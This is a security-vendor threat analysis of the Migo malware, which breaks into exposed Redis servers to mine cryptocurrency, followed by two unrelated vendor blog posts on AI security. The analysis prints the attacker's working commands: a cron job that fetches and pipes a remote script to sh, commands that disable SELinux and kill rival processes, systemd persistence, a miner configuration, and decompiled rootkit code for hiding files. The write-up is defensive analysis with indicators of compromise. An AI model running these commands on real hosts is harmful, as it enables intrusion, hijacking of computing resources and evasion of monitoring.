Blog
/
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

/

May 20, 2026

Prompt Security in Enterprise AI: Strengths, Weaknesses, and Common Approaches

prompt securityDefault blog imageDefault blog image

How enterprise AI Agents are changing the risk landscape  

Generative AI Agents are changing the way work gets done inside enterprises, and subsequently how security risks may emerge. Organizations have quickly realized that providing these agents with wider access to tooling, internal information, and granting permissions for the agent to perform autonomous actions can greatly increase the efficiency of employee workflows.

Early deployments of Generative AI systems led many organizations to scope individual components as self-contained applications: a chat interface, a model, and a prompt, with guardrails placed at the boundary. Research from Gartner has shown that while the volume and scope of Agentic AI deployments in enterprise environments is rapidly accelerating, many of the mechanisms required to manage risk, trust, and cost are still maturing.

The issue now resides on whether an agent can be influenced, misdirected, or manipulated in ways that leads to unsafe behavior across a broader system.

Why prompt security matters in enterprise AI

Prompt security matters in enterprise AI because prompts are the primary way users and systems interact with Agentic AI models, making them one of the earliest and most visible indicators of how these systems are being used and where risk may emerge.

For security teams, prompt monitoring is a logical starting point for understanding enterprise AI usage, providing insight into what types of questions are being asked and tasks are being given to AI Agents, how these systems are being guided, and whether interactions align with expected behavior. Complete prompt security takes this one step further, filtering out or blocking sensitive or dangerous content to prevent risks like prompt injection and data leakage.

However, visibility only at the prompt layer can create a false sense of security. Prompts show what was asked, but not always why it was asked, or what downstream actions were triggered by the agent across connected systems, data sources, or applications.

What prompt security reveals  

The primary function of prompt security is to minimize risks associated with generative and agentic AI use, but monitoring and analysis of prompts can also grant insight into use cases for particular agents and model. With comprehensive prompt security, security teams should be able to answer the following questions for each prompt:

  • What task was the user attempting to complete?
  • What data was included in the request, and was any of the data high-risk or confidential?
  • Was the interaction high-risk, potentially malicious, or in violation of company policy?
  • Was the prompt anomalous (in comparison to previous prompts sent to the agent / model)?

Improving visibility at this layer is a necessary first step, allowing organizations to establish a baseline for how AI systems are being used and where potential risks may exist.  

Prompt security alone does not provide a complete view of risk. Further data is needed to understand how the prompt is interpreted, how context is applied, what autonomous actions the agent takes (if any), or what downstream systems are affected. Understanding the outcome of a query is just as important for complete prompt security as understanding the input prompt itself – for example, a perfectly normal, low-risk prompt may inadvertently result in an agent taking a high-risk action.

Comprehensive AI security systems like Darktrace / SECURE AI can monitor and analyze both the prompt submitted to a Generative AI system, as well as the responses and chain-of-thought of the system, providing greater insight into the behavior of the system. Darktrace / SECURE AI builds on the core Darktrace methodology, learning the expected behaviors of your organization and identifying deviations from the expected pattern of life.

How organizations address prompt security today

As prompt-level visibility has become a focus, a range of approaches have emerged to make this activity more observable and controllable. Various monitoring and logging tools aim to capture prompt inputs to be analyzed after the fact.  

Input validation and filtering systems attempt to intervene earlier, inspecting prompts before they reach the model. These controls look for known jailbreak patterns, language indicative of adversarial attacks, or ambiguous instructions which could push the system off course.

Importantly, for a prompt security solution to be accurate and effective, prompts must be continually observed and governed, rather than treated as a point-in-time snapshot.  

Where prompt security breaks down in real environments

In more complex environments, especially those involving multiple agents or extensive tool use, AI security becomes harder to define and control.

Agent-to-Agent communications can be harder to monitor and trace as these happen without direct user interaction. Communication between agents can create routes for potential context leakage between agents, unintentional privilege escalation, or even data leakage from a higher privileged agent to a lower privileged one.

Risk is shaped not just by what is asked, but by the conditions in which that prompt operates and the actions an agent takes. Controls at the orchestration layer are starting to reflect this reality. Techniques such as context isolation, scoped memory, and role-based boundaries aim to limit how far a prompt’s influence can extend.  

Furthermore, Shadow AI usage can be difficult to monitor. AI systems that are deployed outside of formal governance structures and Generative AI systems hosted on unknown endpoints can fly under the radar and can go unseen by monitoring tools, leaving a critical opening where adversarial prompts may go undetected. Darktrace / SECURE AI features comprehensive detection of Shadow AI usage, helping organizations identify potential risk areas.

How prompt security fits in a broader AI risk model

Prompt security is an important starting point, but it is not a complete security strategy. As AI systems become more integrated into enterprise environments, the risks extend to what resources the system can access, how it interprets context, and what actions it is allowed to take across connected tools and workflows.

This creates a gap between visibility and control. Prompt security alone allows security teams to observe prompt activity but falls short of creating a clear understanding of how that activity translates into real-world impact across the organization.

Closing that gap requires a broader approach, one that connects signals across human and AI agent identities, SaaS, cloud, and endpoint environments. It means understanding not just how an AI system is being used, but how that usage interacts with the rest of the digital estate.

Prompt security, in that sense, is less of a standalone solution and more of an entry point into a larger problem: securing AI across the enterprise as a whole.

Explore how Darktrace / SECURE AI brings prompt security to enterprises

Darktrace brings more than a decade of AI expertise, built on an enterprise‑wide platform designed to operate in and understand the behaviors of the complex, ambiguous environments where today’s AI now lives. With Darktrace / SECURE AI, enterprises can safely adopt, manage, monitor, and build AI within their business.  

Learn about Darktrace / SECURE AI here.

Sign up today to stay informed about innovations across securing AI.

[related-resource]

Continue reading
About the author
Jamie Bali
Technical Author (AI) Developer

Blog

/

/

May 20, 2026

State of AI Cybersecurity 2026: 77% of security stacks include AI, but trust is lagging

Default blog imageDefault blog image

Findings in this blog are taken from Darktrace’s annual State of AI Cybersecurity Report 2026.

AI is a contributing member of nearly every modern cybersecurity team. As we discussed earlier in this blog series, rapid AI adoption is expanding the attack surface in ways that security professionals have never before experienced while also empowering attackers to operate at unprecedented speed and scale. It’s only logical that defenders are harnessing the power of AI to fight back.

After all, AI can help cybersecurity teams spot the subtle signs of novel threats before humans can, investigate events more quickly and thoroughly, and automate response. But although AI has been widely adopted, this technology is also frequently misunderstood, and occasionally viewed with suspicion.

For CISOs, the cybersecurity marketplace can be noisy. Making sense of competing vendors’ claims to distinguish the solutions that truly deliver on AI’s full potential from those that do not isn’t always easy. Without a nuanced understanding of the different types of AI used across the cybersecurity stack, it is difficult to make informed decisions about which vendors to work with or how to gain the most value from their solutions. Many security leaders are turning to Managed Security Service Providers (MSSPs) for guidance and support.

The right kinds of AI in the right places?

Back in 2024, when we first conducted this annual survey, more than a quarter of respondents were only vaguely familiar with generative AI or hadn’t heard of it at all. Today, GenAI plays a role in 77% of security stacks. This percentage marks a rapid increase in both awareness and adoption over a relatively short period of time.

According to security professionals, different types of AI are widely integrated into cybersecurity tooling:

  • 67% report that their organization’s security stack uses supervised machine learning
  • 67% report that theirs uses agentic AI
  • 58% report that theirs uses natural language processing (NLP)
  • 35% report that theirs uses unsupervised machine learning

But their responses suggest that organizations aren’t always using the most valuable types of AI for the most relevant use cases.

Despite all the recent attention AI has gotten, supervised machine learning isn’t new. Cybersecurity vendors have been experimenting with models trained on hand-labeled datasets for over a decade. These systems are fed large numbers of examples of malicious activity – for instance, strains of ransomware – and use these examples to generalize common indicators of maliciousness – such as the TTPs of multiple known ransomware strains – so that the models can identify similar attacks in the future. This approach is more effective than signature-based detection, since it isn’t tied to an individual byte sequence or file hash. However, supervised machine learning models can miss patterns or features outside the training data set. When adversarial behavior shifts, these systems can’t easily pivot.

Unsupervised machine learning, by contrast, can identify key patterns and trends in unlabeled data without human input. This enables it to classify information independently and detect anomalies without needing to be taught about past threats. Unsupervised learning can continuously learn about an environment and adapt in real time.

One key distinction between supervised and unsupervised machine learning is that supervised learning algorithms require periodic updating and re-training, whereas unsupervised machine learning trains itself while it works.

The question of trust

